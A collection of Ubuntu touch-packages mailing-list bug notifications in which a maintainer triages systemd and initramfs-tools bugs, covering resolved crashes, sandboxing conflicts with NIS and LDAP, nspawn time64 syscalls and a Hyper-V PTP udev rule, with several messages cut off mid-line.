[Touch-packages] [Bug 1906331] Re: systemd-resolve crashes fairly often (and reports various assertions)

[Dan Streetman]

> Do you plan releasing this version on PPA

that was for the hirsute release - are you able to test that
(development) release to ensure the problem is fixed? it's the same
patches as for focal, so it may not be fixed there.

Alternately if you have a test environment (NOT some system that you care 
about, as it may break) can you test the latest upstream systemd code from this 
ppa:
https://launchpad.net/~ubuntu-support-team/+archive/ubuntu/systemd

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1906331

Title:
  systemd-resolve crashes fairly often (and reports various assertions)

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Focal:
  In Progress
Status in systemd source package in Groovy:
  In Progress
Status in systemd source package in Hirsute:
  Fix Released

Bug description:
  [impact]

  systemd-resolved crashes

  [test case]

  see original description; I can't reproduce so I'm relying on the
  reporter(s) to test/verify.

  [regression potential]

  any regression would likely occur while processing sd_event objects,
  which are used throughout systemd code; this could result in crashes
  in almost any part of systemd code. However a more likely regression
  would be leaks of sd_event objects due to failure to release the final
  ref for an object.

  [scope]

  This is needed for f/g/h

  This might be fixed by upstream commit
  f814c871e65df8552a055dd887bc94b074037833; if so, that commit isn't
  included in any systemd release yet, and so is needed in h and
  earlier.

  [other info]

  I believe this is caused by a freed sd_event object that is then
  processed and calls the on_query_timeout callback with invalid state,
  leading to failed assertion, which causes resolved to crash; that's
  what analysis of the crash dump appears to indicate. This may be fixed
  by the upstream commit referenced in [scope], which takes additional
  refs during function calls. However I haven't reproduced this myself,
  so I'm only guessing as to the cause and solution at this point.

  I'm unsure why this would not occur in bionic, but per comment 5 it
  seems it doesn't happen in that release.

  [original description]

  (Tested on regularly updated Ubuntu 20.04, currently i use systemd
  245.4-4ubuntu3.2)

  I observe fairly lot of segfaults of systemd-resolve. Frequency vary
  but … see below.

  I have no clue what is the reason. Specific feature of my machine is
  that apart from normal cable connection (to OpenWRT router) I use
  OpenVPN for business network (and this submits specific nameserver for
  myorg.local domain).

  ~
  $ LC_ALL=C dmesg -T --level=info | grep systemd-resolve
  [Sun Nov 29 11:47:37 2020] systemd-resolve[1629307]: segfault at 190eed7bdc6 
ip 7fd98f771dc9 sp 7ffc2352a100 error 4 in 
libsystemd-shared-245.so[7fd98f74c000+16e000]
  [Sun Nov 29 11:57:27 2020] systemd-resolve[1629787]: segfault at 1f ip 
55ab7b0cb686 sp 7fff78ce4bd0 error 4 in 
systemd-resolved[55ab7b0a4000+3e000]
  [Sun Nov 29 12:07:37 2020] systemd-resolve[1630481]: segfault at 191 ip 
55ca69fed91c sp 7ffc4d757dc0 error 6 in 
systemd-resolved[55ca69fc2000+3e000]
  [Sun Nov 29 13:12:26 2020] systemd-resolve[1638829]: segfault at 19224162371 
ip 7fc1bc9b9dc9 sp 7ffc21378170 error 4 in 
libsystemd-shared-245.so[7fc1bc994000+16e000]
  [Sun Nov 29 13:32:57 2020] systemd-resolve[1639886]: segfault at 1926d8126d3 
ip 7f7ed17e9dc9 sp 7ffda2cea0b0 error 4 in 
libsystemd-shared-245.so[7f7ed17c4000+16e000]
  [Sun Nov 29 13:42:37 2020] systemd-resolve[1640246]: segfault at 61 ip 
558d992e2686 sp 7fff08906af0 error 4 in 
systemd-resolved[558d992bb000+3e000]
  [Sun Nov 29 15:42:26 2020] systemd-resolve[1645397]: segfault at 1943c92afc7 
ip 7fd4c1721dc9 sp 7fff25259ce0 error 4 in 
libsystemd-shared-245.so[7fd4c16fc000+16e000]
  [Sun Nov 29 16:02:36 2020] systemd-resolve[1646052]: segfault at 1947ecb3726 
ip 7f1008549dc9 sp 7fff44a6db70 error 4 in 
libsystemd-shared-245.so[7f1008524000+16e000]
  [Sun Nov 29 17:42:35 2020] systemd-resolve[1649403]: segfault at 71 ip 
55a37fe5a686 sp 7ffd9a160440 error 4 in 
systemd-resolved[55a37fe33000+3e000]
  [Sun Nov 29 17:52:35 2020] systemd-resolve[1649759]: segfault at 558d292947d0 
ip 558d292947d0 sp 7ffec7ab3bf8 error 15
  [Sun Nov 29 19:17:55 2020] systemd-resolve[1652349]: segfault at 558995b77cf0 
ip 558995b77cf0 sp 7ffe545ae4a8 error 15
  [Sun Nov 29 19:32:35 2020] systemd-resolve[1652640]: segfault at 19773c20194 
ip 7f66bb529dc9 sp 7fffd7066fc0 error 4 in 
libsystemd-shared-245.so[7f66bb504000+16e000]
  [Sun Nov 29 20:03:54 2020] systemd-resolve[1653715]: segfault at 197e3aee918 
ip 7fdc40b51dc9 sp 7ffde484fbf0 error 4 in 
libsystemd-shared-245.so[7fdc40b2c000+16e000]
  [Sun Nov 29 20:22:24 2020] 

[Touch-packages] [Bug 1916229] Re: udev reports error due to NIS usage

[Dan Streetman]

I'm unclear if this is a bug that needs fixing? Are you saying we should
ship a drop-in file to disable the upstream ip sandboxing?

** Bug watch added: github.com/systemd/systemd/issues #7074
   https://github.com/systemd/systemd/issues/7074

** Also affects: systemd via
   https://github.com/systemd/systemd/issues/7074
   Importance: Unknown
   Status: Unknown

** Changed in: systemd (Ubuntu)
   Status: New => Incomplete

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1916229

Title:
  udev reports error due to NIS usage

Status in systemd:
  Unknown
Status in systemd package in Ubuntu:
  Incomplete

Bug description:
  I see the following error message when trying to updating udev to 
245.4-4ubuntu3.4.
  > systemd-udevd[25721]: do_ypcall: clnt_call: RPC: Unable to send; errno = 
Operation not permitted

  As it turns out we trigger a security feature of systemd, which
  appears because we use NIS:

  
https://github.com/systemd/systemd/commit/695fe4078f0df6564a1be1c4a6a9e8a640d23b67

  The solution is fairly simple:
  $ sudo mkdir /etc/systemd/system/systemd-udevd.service.d/
  $ printf "[Service]\nIPAddressDeny=\n" | sudo tee 
/etc/systemd/system/systemd-udevd.service.d/override.conf

  And here the full error message occurring during the update:

  Setting up udev (245.4-4ubuntu3.4) ...
  Job for systemd-udevd.service failed because a timeout was exceeded.
  See "systemctl status systemd-udevd.service" and "journalctl -xe" for details.
  invoke-rc.d: initscript udev, action "restart" failed.
  ● systemd-udevd.service - udev Kernel Device Manager
   Loaded: loaded (/lib/systemd/system/systemd-udevd.service; static; 
vendor preset: enabled)
   Active: activating (start) since Fri 2021-02-19 10:44:33 CET; 7ms ago
  TriggeredBy: ● systemd-udevd-control.socket
   ● systemd-udevd-kernel.socket
 Docs: man:systemd-udevd.service(8)
   man:udev(7)
 Main PID: 2196 ((md-udevd))
Tasks: 1
   Memory: 640.0K
   CGroup: /system.slice/systemd-udevd.service
   └─2196 (md-udevd)

  Feb 19 10:44:33 hasfpnccd systemd[1]: Starting udev Kernel Device Manager...
  dpkg: error processing package udev (--configure):
   installed udev package post-installation script subprocess returned error 
exit status 1
  dpkg: dependency problems prevent configuration of snapd:
   snapd depends on udev; however:
Package udev is not configured yet.

  dpkg: error processing package snapd (--configure):
   dependency problems - leaving unconfigured
  dpkg: dependency problems prevent configuration of ubuntu-drivers-common:
   ubuntu-drivers-common depends on udev (>= 204-0ubuntu4~); however:
Package udev is not configured yet.

  dpkg: error processing package ubuntu-drivers-common (--configure):
   dependency problems - leaving unconfigured
  dpkg: dependency problems prevent configuration of xserver-xorg-core:
   xserver-xorg-core depends on udev (>= 149); however:
Package udev is not configured yet.

  dpkg: error processing package xserver-xorg-core (--configure):
   dependency problems - leaving unconfigured
  No apport report written because the error message indicates its a followup 
error from a previous failure.

No apport report written because the error message 
indicates its a followup error from a previous failure.


  N
  o apport report written because MaxReports is reached already
   Errors were 
encountered while processing:
   udev
   snapd
   ubuntu-drivers-common
   xserver-xorg-core
  E: Sub-process /usr/bin/dpkg returned an error code (1)

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1916229/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1916235] Re: systemd generates errors when using NSS and LDAP

[Dan Streetman]

** Bug watch added: github.com/systemd/systemd/issues #15105
   https://github.com/systemd/systemd/issues/15105

** Also affects: systemd via
   https://github.com/systemd/systemd/issues/15105
   Importance: Unknown
   Status: Unknown

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1916235

Title:
  systemd generates errors when using NSS and LDAP

Status in systemd:
  Unknown
Status in systemd package in Ubuntu:
  New

Bug description:
  Ubuntu 20.04.2 LTS
  systemd 245.4-4ubuntu3.4

  The system is configured to use LDAP via nsswitch.conf:

  passwd: files systemd ldap
  group:  files systemd ldap
  shadow: files ldap
  gshadow:files

  Using libnss-ldap 265-5ubuntu1. When logging in with ssh there is a
  slight delay, and in the logs I see:

  Feb 19 12:49:54 myserver sshd[105417]: Accepted publickey for mylogin from 
1.2.3.4 port 60796 ssh2: RSA SHA256:somekey
  Feb 19 12:49:54 myserver sshd[105417]: pam_unix(sshd:session): session opened 
for user mylogin by (uid=0)
  Feb 19 12:49:54 myserver systemd-logind: nss_ldap: could not connect to any 
LDAP server as (null) - Can't contact LDAP server
  Feb 19 12:49:54 myserver systemd-logind: nss_ldap: failed to bind to LDAP 
server ldaps://myldapserver.mydomain/: Can't contact LDAP server
  Feb 19 12:49:54 myserver systemd-logind: nss_ldap: reconnecting to LDAP 
server...
  Feb 19 12:49:54 myserver systemd-logind: nss_ldap: could not connect to any 
LDAP server as (null) - Can't contact LDAP server
  Feb 19 12:49:54 myserver systemd-logind: nss_ldap: failed to bind to LDAP 
server ldaps://myldapserver.mydomain/: Can't contact LDAP server
  Feb 19 12:49:54 myserver systemd-logind: nss_ldap: reconnecting to LDAP 
server (sleeping 1 seconds)...
  Feb 19 12:49:55 myserver systemd-logind: nss_ldap: could not connect to any 
LDAP server as (null) - Can't contact LDAP server
  Feb 19 12:49:55 myserver systemd-logind: nss_ldap: failed to bind to LDAP 
server ldaps://myldapserver.mydomain/: Can't contact LDAP server
  Feb 19 12:49:55 myserver systemd-logind: nss_ldap: could not search LDAP 
server - Server is unavailable
  Feb 19 12:49:55 myserver systemd-logind[105119]: New session 331 of user 
mylogin.

  With debugging for the systemd-logind process I can see the additional
  information:

  Feb 19 12:55:22 myserver systemd-logind[106567]: Failed to do shadow
  lookup for UID 12345, ignoring: Bad file descriptor

  And with strace I see:

  stat("/etc/ldap.conf", {st_mode=S_IFREG|0644, st_size=9102, ...}) = 0
  geteuid()   = 0
  socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = -1 EAFNOSUPPORT (Address family 
not supported by protocol)
  fcntl(-1, F_SETFD, FD_CLOEXEC)  = -1 EBADF (Bad file descriptor)
  sendto(33, "<83>Feb 19 12:56:59 systemd-logind: nss_ldap: could not connect 
to any LDAP server as (null) - Can't contact LDAP server", 120, MSG_NOSIGNAL, 
NULL, 0) = 120
  sendto(33, "<86>Feb 19 12:56:59 systemd-logind: nss_ldap: failed to bind to 
LDAP server ldaps://myldapserver.mydomain/: Can't contact LDAP server", 131, 
MSG_NOSIGNAL, NULL, 0) = 131
  sendto(33, "<86>Feb 19 12:56:59 systemd-logind: nss_ldap: reconnecting to 
LDAP server...", 76, MSG_NOSIGNAL, NULL, 0) = 76

  Looking in /usr/lib/systemd/system/systemd-logind.service we see:

  RestrictAddressFamilies=AF_UNIX AF_NETLINK
  IPAddressDeny=any

  So the problem is that systemd-logind can't open an AF_INET socket.
  And additionally, it can't make any network connections.

  This only occurs in 20.04. In 20.10 this is fixed by a newer systemd,
  and it doesn't appear to be present in older systemd versions (at
  least, I don't have an issue on 18.04).

  The fix, from systemd 246, which is included in 20.10, is:

  https://github.com/systemd/systemd/pull/15377

  I have applied this change (which patches cleanly to the systemd
  source package in 20.04) and the problem is resolved.

  A temporary workaround for others experiencing this issue would be to
  run "systemctl edit systemd-logind" and enter the following:

  [Service]
  RestrictAddressFamilies=AF_INET
  IPAddressAllow=any

  Then restart the systemd-login service, or reboot. Obviously this
  could have other implications for the security of the system - I'm not
  sure if processes launched by systemd-logind also have more relaxed
  permissions.

  It'd be great if the above patch could be applied to the package in
  20.04.

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1916235/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1571506] Re: update-initramfs should include firmware from /lib/firmware/updates

[Dan Streetman]

> I've sponsored this.

without a SRU template? ;-)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu.
https://bugs.launchpad.net/bugs/1571506

Title:
  update-initramfs should include firmware from /lib/firmware/updates

Status in initramfs-tools package in Ubuntu:
  Fix Released
Status in initramfs-tools source package in Focal:
  In Progress
Status in initramfs-tools source package in Groovy:
  Fix Released
Status in initramfs-tools source package in Hirsute:
  Fix Released

Bug description:
  according to the kernel doc
  
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/tree/Documentation/firmware_class/README

  Linux kernel will search firmware from
  "/lib/firmware/updates/" UTS_RELEASE,
  "/lib/firmware/updates",
  "/lib/firmware/" UTS_RELEASE,
  "/lib/firmware"

  But the add module function in initramfs-tools won't search the
  "/lib/firmware/updates".

  This problem applies to all Ubuntu releases.

  Attach patch to fix this.

  ProblemType: Bug
  DistroRelease: Ubuntu 14.04
  Package: initramfs-tools 0.103ubuntu4.2
  ProcVersionSignature: Ubuntu 4.2.0-30.36~14.04.1-generic 4.2.8-ckt3
  Uname: Linux 4.2.0-30-generic i686
  ApportVersion: 2.14.1-0ubuntu3.19
  Architecture: i386
  CurrentDesktop: Unity
  Date: Mon Apr 18 14:24:29 2016
  InstallationDate: Installed on 2014-04-23 (725 days ago)
  InstallationMedia: Ubuntu 14.04 LTS "Trusty Tahr" - Release i386 (20140417)
  PackageArchitecture: all
  SourcePackage: initramfs-tools
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/initramfs-tools/+bug/1571506/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1916122] Re: package udev 229-4ubuntu21.29 failed to install/upgrade: problemas de dependencias - se deja sin configurar

[Dan Streetman]

you appear to have a problem with the 'procps' package:

dpkg: error al procesar el paquete procps (--configure):
 el subproceso instalado el script post-installation devolvió el código de 
salida de error 1
dpkg: problemas de dependencias impiden la configuración de udev:
 udev depende de procps; sin embargo:
 El paquete `procps' no está configurado todavía.

dpkg: error al procesar el paquete udev (--configure):
 problemas de dependencias - se deja sin configurar
dpkg: problemas de dependencias impiden la configuración de bluez:
 bluez depende de udev (>= 170-1); sin embargo:
 El paquete `udev' no está configurado todavía.
 bluez depende de dbus; sin embargo:
 El paquete `dbus' no está configurado todavía.

dpkg: error al procesar el paquete bluez (--configure):
 problemas de dependencias - se deja sin configurar
Configurando uuid-runtime (2.27.1-6ubuntu3.10) ...


you could try 'sudo apt-get install --fix-broken' or possibly 'sudo apt-get 
install --reinstall procps', but in any case this is not a problem in systemd.

** Changed in: systemd (Ubuntu)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1916122

Title:
  package udev 229-4ubuntu21.29 failed to install/upgrade: problemas de
  dependencias - se deja sin configurar

Status in systemd package in Ubuntu:
  Invalid

Bug description:
  no more details

  ProblemType: Package
  DistroRelease: Ubuntu 16.04
  Package: udev 229-4ubuntu21.29
  ProcVersionSignature: Ubuntu 4.15.0-133.137~16.04.1-generic 4.15.18
  Uname: Linux 4.15.0-133-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.30
  Architecture: amd64
  CustomUdevRuleFiles: 70-snap.core.rules 70-snap.skype.rules
  Date: Fri Feb 19 06:12:12 2021
  ErrorMessage: problemas de dependencias - se deja sin configurar
  InstallationDate: Installed on 2018-12-20 (791 days ago)
  InstallationMedia: Ubuntu 16.04.2 LTS "Xenial Xerus" - Release amd64 
(20170215.2)
  MachineType: Dell Inc. Latitude E7450
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.15.0-133-generic 
root=UUID=5fa0ab51-adf2-4ce1-9c36-d0c8fea7d646 ro quiet splash vt.handoff=7
  RelatedPackageVersions:
   dpkg 1.18.4ubuntu1.6
   apt  1.2.32ubuntu0.2
  SourcePackage: systemd
  Title: package udev 229-4ubuntu21.29 failed to install/upgrade: problemas de 
dependencias - se deja sin configurar
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 10/28/2015
  dmi.bios.vendor: Dell Inc.
  dmi.bios.version: A08
  dmi.board.name: 0YGN55
  dmi.board.vendor: Dell Inc.
  dmi.board.version: A01
  dmi.chassis.type: 9
  dmi.chassis.vendor: Dell Inc.
  dmi.modalias: 
dmi:bvnDellInc.:bvrA08:bd10/28/2015:svnDellInc.:pnLatitudeE7450:pvr:rvnDellInc.:rn0YGN55:rvrA01:cvnDellInc.:ct9:cvr:
  dmi.product.name: Latitude E7450
  dmi.sys.vendor: Dell Inc.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1916122/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1883447] Re: nspawn on some 32-bit archs blocks _time64 syscalls, breaks upgrade to focal in containers

[Dan Streetman]

** Description changed:

  [impact]
  
  nspawn fails on armhf
  
  [test case]
  
- TBD
+ setup a bionic armhf system, and get a focal img/filesystem to use with
+ systemd-nspawn, e.g.
+ 
+ $ wget 
https://cloud-images.ubuntu.com/focal/current/focal-server-cloudimg-armhf-root.tar.xz
+ $ mkdir f
+ $ cd f
+ $ tar xvf ../focal-server-cloudimg-armhf-root.tar.xz
+ 
+ install systemd-container, and start nspawn; then test anything that
+ uses the time, e.g. just run python:
+ 
+ $ systemd-nspawn 
+ Spawning container f on /root/f.
+ Press ^] three times within 1s to kill container.
+ root@f:~# python3
+ Fatal Python error: pyinit_main: can't initialize time
+ Python runtime state: core initialized
+ PermissionError: [Errno 1] Operation not permitted
+ 
+ Current thread 0xf7bbd310 (most recent call first):
+ 
+ 
  
  [regression potential]
  
  any regression would likely break nspawn creation of containers,
  particularly on armhf, but possibly on other archs
  
  [scope]
  
  this is needed only in bionic.
  
  this is fixed upstream by commit
  6ca677106992321326427c89a40e1c9673a499b2 which was included first in
  v244, so this is fixed already in focal and later.
  
  [original description]
  
  Recent Linux kernels introduced a number of new syscalls ending in
  _time64 to fix Y2038 problem; it appears recent glibc, including the
  version in focal, test for the existence of these. systemd-nspawn in
  bionic (237-3ubuntu10.38) doesn't know about these so blocks them by
  default. It seems however glibc isn't expecting an EPERM, causing
  numerous programs to fail.
  
  In particular, running do-release-upgrade to focal in an nspawn
  container hosted on bionic will break as soon as the new libc has been
  unpacked.
  
  Solution (tested here) is to cherrypick upstream commit
  
https://github.com/systemd/systemd/commit/6ca677106992321326427c89a40e1c9673a499b2
  
  A newer libseccomp is also needed but this is already being worked on,
  see bug #1876055.
  
  It's a pretty trivial fix one the new libseccomp lands, and there is
  precedent for SRU-ing for a similar issue in bug #1840640.
  
  https://patchwork.kernel.org/patch/10756415/ is apparently the upstream
  kernel patch, which should give a clearer idea of which architectures
  are likely to be affected - I noticed it on armhf.

** Description changed:

  [impact]
  
  nspawn fails on armhf
  
  [test case]
  
  setup a bionic armhf system, and get a focal img/filesystem to use with
  systemd-nspawn, e.g.
  
  $ wget 
https://cloud-images.ubuntu.com/focal/current/focal-server-cloudimg-armhf-root.tar.xz
  $ mkdir f
  $ cd f
  $ tar xvf ../focal-server-cloudimg-armhf-root.tar.xz
  
  install systemd-container, and start nspawn; then test anything that
  uses the time, e.g. just run python:
  
- $ systemd-nspawn 
+ $ systemd-nspawn
  Spawning container f on /root/f.
  Press ^] three times within 1s to kill container.
  root@f:~# python3
  Fatal Python error: pyinit_main: can't initialize time
  Python runtime state: core initialized
  PermissionError: [Errno 1] Operation not permitted
  
  Current thread 0xf7bbd310 (most recent call first):
  
  
- 
  [regression potential]
  
- any regression would likely break nspawn creation of containers,
- particularly on armhf, but possibly on other archs
+ any regression would likely break nspawn creation or operation of
+ containers, particularly on armhf, but possibly on other archs
  
  [scope]
  
  this is needed only in bionic.
  
  this is fixed upstream by commit
  6ca677106992321326427c89a40e1c9673a499b2 which was included first in
  v244, so this is fixed already in focal and later.
  
  [original description]
  
  Recent Linux kernels introduced a number of new syscalls ending in
  _time64 to fix Y2038 problem; it appears recent glibc, including the
  version in focal, test for the existence of these. systemd-nspawn in
  bionic (237-3ubuntu10.38) doesn't know about these so blocks them by
  default. It seems however glibc isn't expecting an EPERM, causing
  numerous programs to fail.
  
  In particular, running do-release-upgrade to focal in an nspawn
  container hosted on bionic will break as soon as the new libc has been
  unpacked.
  
  Solution (tested here) is to cherrypick upstream commit
  
https://github.com/systemd/systemd/commit/6ca677106992321326427c89a40e1c9673a499b2
  
  A newer libseccomp is also needed but this is already being worked on,
  see bug #1876055.
  
  It's a pretty trivial fix one the new libseccomp lands, and there is
  precedent for SRU-ing for a similar issue in bug #1840640.
  
  https://patchwork.kernel.org/patch/10756415/ is apparently the upstream
  kernel patch, which should give a clearer idea of which architectures
  are likely to be affected - I noticed it on armhf.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1883447

Title:
  nspawn on 

[Touch-packages] [Bug 1906331] Re: systemd-resolve crashes fairly often (and reports various assertions)

[Dan Streetman]

that's unfortunate; if you're able to gather a new crashdump, it would
help.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1906331

Title:
  systemd-resolve crashes fairly often (and reports various assertions)

Status in systemd package in Ubuntu:
  In Progress
Status in systemd source package in Focal:
  In Progress
Status in systemd source package in Groovy:
  In Progress
Status in systemd source package in Hirsute:
  In Progress

Bug description:
  [impact]

  systemd-resolved crashes

  [test case]

  see original description; I can't reproduce so I'm relying on the
  reporter(s) to test/verify.

  [regression potential]

  any regression would likely occur while processing sd_event objects,
  which are used throughout systemd code; this could result in crashes
  in almost any part of systemd code. However a more likely regression
  would be leaks of sd_event objects due to failure to release the final
  ref for an object.

  [scope]

  This is needed for f/g/h

  This might be fixed by upstream commit
  f814c871e65df8552a055dd887bc94b074037833; if so, that commit isn't
  included in any systemd release yet, and so is needed in h and
  earlier.

  [other info]

  I believe this is caused by a freed sd_event object that is then
  processed and calls the on_query_timeout callback with invalid state,
  leading to failed assertion, which causes resolved to crash; that's
  what analysis of the crash dump appears to indicate. This may be fixed
  by the upstream commit referenced in [scope], which takes additional
  refs during function calls. However I haven't reproduced this myself,
  so I'm only guessing as to the cause and solution at this point.

  I'm unsure why this would not occur in bionic, but per comment 5 it
  seems it doesn't happen in that release.

  [original description]

  (Tested on regularly updated Ubuntu 20.04, currently i use systemd
  245.4-4ubuntu3.2)

  I observe fairly lot of segfaults of systemd-resolve. Frequency vary
  but … see below.

  I have no clue what is the reason. Specific feature of my machine is
  that apart from normal cable connection (to OpenWRT router) I use
  OpenVPN for business network (and this submits specific nameserver for
  myorg.local domain).

  ~
  $ LC_ALL=C dmesg -T --level=info | grep systemd-resolve
  [Sun Nov 29 11:47:37 2020] systemd-resolve[1629307]: segfault at 190eed7bdc6 
ip 7fd98f771dc9 sp 7ffc2352a100 error 4 in 
libsystemd-shared-245.so[7fd98f74c000+16e000]
  [Sun Nov 29 11:57:27 2020] systemd-resolve[1629787]: segfault at 1f ip 
55ab7b0cb686 sp 7fff78ce4bd0 error 4 in 
systemd-resolved[55ab7b0a4000+3e000]
  [Sun Nov 29 12:07:37 2020] systemd-resolve[1630481]: segfault at 191 ip 
55ca69fed91c sp 7ffc4d757dc0 error 6 in 
systemd-resolved[55ca69fc2000+3e000]
  [Sun Nov 29 13:12:26 2020] systemd-resolve[1638829]: segfault at 19224162371 
ip 7fc1bc9b9dc9 sp 7ffc21378170 error 4 in 
libsystemd-shared-245.so[7fc1bc994000+16e000]
  [Sun Nov 29 13:32:57 2020] systemd-resolve[1639886]: segfault at 1926d8126d3 
ip 7f7ed17e9dc9 sp 7ffda2cea0b0 error 4 in 
libsystemd-shared-245.so[7f7ed17c4000+16e000]
  [Sun Nov 29 13:42:37 2020] systemd-resolve[1640246]: segfault at 61 ip 
558d992e2686 sp 7fff08906af0 error 4 in 
systemd-resolved[558d992bb000+3e000]
  [Sun Nov 29 15:42:26 2020] systemd-resolve[1645397]: segfault at 1943c92afc7 
ip 7fd4c1721dc9 sp 7fff25259ce0 error 4 in 
libsystemd-shared-245.so[7fd4c16fc000+16e000]
  [Sun Nov 29 16:02:36 2020] systemd-resolve[1646052]: segfault at 1947ecb3726 
ip 7f1008549dc9 sp 7fff44a6db70 error 4 in 
libsystemd-shared-245.so[7f1008524000+16e000]
  [Sun Nov 29 17:42:35 2020] systemd-resolve[1649403]: segfault at 71 ip 
55a37fe5a686 sp 7ffd9a160440 error 4 in 
systemd-resolved[55a37fe33000+3e000]
  [Sun Nov 29 17:52:35 2020] systemd-resolve[1649759]: segfault at 558d292947d0 
ip 558d292947d0 sp 7ffec7ab3bf8 error 15
  [Sun Nov 29 19:17:55 2020] systemd-resolve[1652349]: segfault at 558995b77cf0 
ip 558995b77cf0 sp 7ffe545ae4a8 error 15
  [Sun Nov 29 19:32:35 2020] systemd-resolve[1652640]: segfault at 19773c20194 
ip 7f66bb529dc9 sp 7fffd7066fc0 error 4 in 
libsystemd-shared-245.so[7f66bb504000+16e000]
  [Sun Nov 29 20:03:54 2020] systemd-resolve[1653715]: segfault at 197e3aee918 
ip 7fdc40b51dc9 sp 7ffde484fbf0 error 4 in 
libsystemd-shared-245.so[7fdc40b2c000+16e000]
  [Sun Nov 29 20:22:24 2020] systemd-resolve[1654540]: segfault at 19820a05297 
ip 7f6a92839dc9 sp 7ffe4ba00440 error 4 in 
libsystemd-shared-245.so[7f6a92814000+16e000]
  [Sun Nov 29 21:13:10 2020] systemd-resolve[1660272]: segfault at 555f9a5915e0 
ip 555f9a5915e0 sp 7fff053e5e68 error 15
  [Sun Nov 29 21:32:34 2020] systemd-resolve[1661026]: segfault at 1991af73f2e 
ip 7ff194021dc9 sp 

[Touch-packages] [Bug 1913763] Re: hyperv: unable to distinguish PTP devices

[Dan Streetman]

** Description changed:

+ [SRU TEMPLATE]
+ 
+ please see template in bug 1917458 for sru template
+ 
+ [original description]
+ 
  Hyperv provides a PTP device. On system with multiple PTP devices,
  services like Chrony don't have a way to know which one is which.
  
  We would like to have a udev rule to create a symlink to the hyperv
  clock. This way, services could be configured to always use this clock
  no matter if it is ptp0, ptp1, etc..
  
  For example:
  
  ```
  SUBSYSTEM=="ptp", ATTR{clock_name}=="hyperv", SYMLINK += "ptp_hyperv"
  ```

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1913763

Title:
  hyperv: unable to distinguish PTP devices

Status in systemd package in Ubuntu:
  Fix Committed

Bug description:
  [SRU TEMPLATE]

  please see template in bug 1917458 for sru template

  [original description]

  Hyperv provides a PTP device. On system with multiple PTP devices,
  services like Chrony don't have a way to know which one is which.

  We would like to have a udev rule to create a symlink to the hyperv
  clock. This way, services could be configured to always use this clock
  no matter if it is ptp0, ptp1, etc..

  For example:

  ```
  SUBSYSTEM=="ptp", ATTR{clock_name}=="hyperv", SYMLINK += "ptp_hyperv"
  ```

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1913763/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1912331] Re: Many interfaces lead to "kernel receive buffer overrun"

[Dan Streetman]

You have systemd-networkd managing only a single interface, ens3.
Whatever your problem is, it's not at all the upstream bug you linked.

** Changed in: systemd (Ubuntu Focal)
   Status: Won't Fix => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1912331

Title:
  Many interfaces lead to "kernel receive buffer overrun"

Status in systemd:
  Fix Released
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Focal:
  Invalid
Status in systemd source package in Groovy:
  Fix Released

Bug description:
  This is about a systemd-networkd bug, described here:

  https://github.com/systemd/systemd/issues/14417

  There's a patch available:

  https://github.com/systemd/systemd/pull/16982

  Can this be backported to Focal?

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1912331/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1906331] Re: systemd-resolve crashes fairly often (and reports various assertions)

[Dan Streetman]

@marcin-kasperski, @buehmann, @jim-photojim, @jkeir, can any of you
please test with the build from the ppa from comment 8?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1906331

